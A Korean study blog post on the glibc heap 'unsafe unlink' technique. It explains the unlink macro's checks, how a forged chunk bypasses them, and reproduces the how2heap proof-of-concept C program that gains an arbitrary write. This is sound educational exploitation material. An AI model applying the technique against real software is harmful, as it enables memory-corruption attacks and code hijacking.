Reference
https://github.com/shellphish/how2heap
https://dreamhack.io/learn/2/16#44
http://lazenca.net/pages/viewpage.action?pageId=1148137
https://koharinn.tistory.com/142
https://code1018.tistory.com/195?category=981925
https://rninche01.tistory.com/entry/heap-exploit-Unsafe-Unlink
https://wogh8732.tistory.com/195
https://midascopp.tistory.com/66
Unsafe_unlink
Unsafe_unlink는 헤더 값이 조작된 Fake chunk와 다른 인접한 chunk를 병합시킴으로써 비정상적으로 unlink매크로를 호출시켜 발생하는 취약점이다.
사용조건
- 전역변수에서 힙 포인터를 관리
- 두개의 Allocated Chunk가 필요하며 Fake Chunk를 생성할 수 있어야 한다.
- Fake chunk와 인접한 chunk의 헤더(prev_size, size(prev_inuse bit)를 조작할 수 있어야 한다.
unlink 매크로
// malloc.c line 1414
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
malloc.c 에 정의된 unlink 소스코드
검증
-
prev_inuse bit 검증
// malloc.c line 1270 /* size field is or'ed with PREV_INUSE when previous adjacent chunk in use */ #define PREV_INUSE 0x1 /* extract inuse bit of previous chunk */ #define prev_inuse(p) ((p)->size & PREV_INUSE) // malloc.c line 4173 if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); }
- prev_inuse bit가 0인지 확인하는 코드이다.
-
Valid Chunk Pointer
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV);
-
FD→bk = P
-
BK→fd = P
-
위 값이 맞는지 확인한다.
-
확인하는 이유는 아래와 같다.
-
정상적인 free된 힙 청크들 사이에 링크 관계이다.
-
따라서 정상적인 freed chunk라면 FD→bk = P, BK→fd = P를 나타내게 된다.
-
Unsafe_unlink attack
힙 익스에서는 가장 중요한것이 fake chunk의 구성이다. 이번 Unsafe_unlink에서도 위 2가지 검증을 우회하기 위해 fake chunk를 구성한다.
- Allocated chunk 2개를 할당해준다.
- 검증을 우회하기 위한 fake chunk를 구성해준다.
- fake chunk 구성은 아래와 같다.
- prev_size = 0x00
- size = 0x00
- FD = [전역변수 힙 포인터 주소] - 0x18
- BK = [전역변수 힙 포인터 주소] - 0x10
- 인접한 다음 청크의 prev size = fake chunk size
- 인접한 다음 청크의 size = size &= ~1 (and 연산으로 prev_inuse bit 0으로 활성화)
- free(ptr2)
- ptr2 청크의 prev_inuse bit를 0으로 변환했기 때문에 병합을 진행하기 위해 unlink 매크로 호출
- 이 때 병합하기 위한 인접 청크의 위치를 알기 위해 prev_size를 사용
- ptr2 청크의 시작 주소 - prev_size 값으로 병합할 청크를 구함
- prev_size는 fake chunk의 크기이므로 fake chunk와 병합
-
검증 우회
FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV);
-
FD→bk 가 P를 가리켜야 하는데 전역변수로 할당된 [힙 포인터 주소 - 24]를 하면 전역변수를 힙 구조로 보게되고 힙 구조로 보았을 때 bk가 자기 자신의 포인터이기 때문에 FD→bk(P→fd→bk) == P가 성립하게 된다.
-
검증 우회
FD = P->fd; \ BK = P->bk; \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ malloc_printerr (check_action, "corrupted double-linked list", P, AV);
-
마찬가지로 P→fd 를 [힙 포인터 주소 - 18]로 해주면 BK→fd == P를 성립시킬 수 있다.
- 검증을 모두 우회하여 다음 코드가 실행된다.
FD->bk = BK; \
BK->fd = FD; \
- 그럼 이제 전역 힙 포인터인 ptr1에 무언가를 쓰게되면 0x601060부터 값을 쓰기 시작한다.
- 16byte값의 더미를 주면 다시 ptr1의 주소를 변경시킬 수 있다.
- 이때 ptr1의 주소의 다른 함수의 got 값, 다른 변수의 값을 변형하는 등 다양한 방법을 사용하여 공격할 수 있다.
how2heap unsafe_unlink.c 소스코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
free(chunk1_ptr);
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);
}
이 소스코드는 위에서 설명한 unsafe_unlink 기법을 이용하여 전역 힙 포인터인 chunk0_ptr을 이용하여 스택에 있는 값인 victim_string의 값을 변경하는 소스코드이다.
victim_string에 있던 원래 값은 Hello!~ 였지만 unsafe_unlink 기법을 이용해 BBBBAAAA(0x4242424241414141)로 변경된 것을 확인할 수 있다.
매우재미따
진짜 힙 너무 재밌다..... 물론 이해되었을 때..... 힙을 처음 보면 ㅇ...? 이게 뭐지 하다가 계속 보고있으면 이해되면서 하나하나 깨달을 때마다 신나고 재밌는거 같다.... 힙 짱잼....ㅎㅎㅎㅎㅎㅎ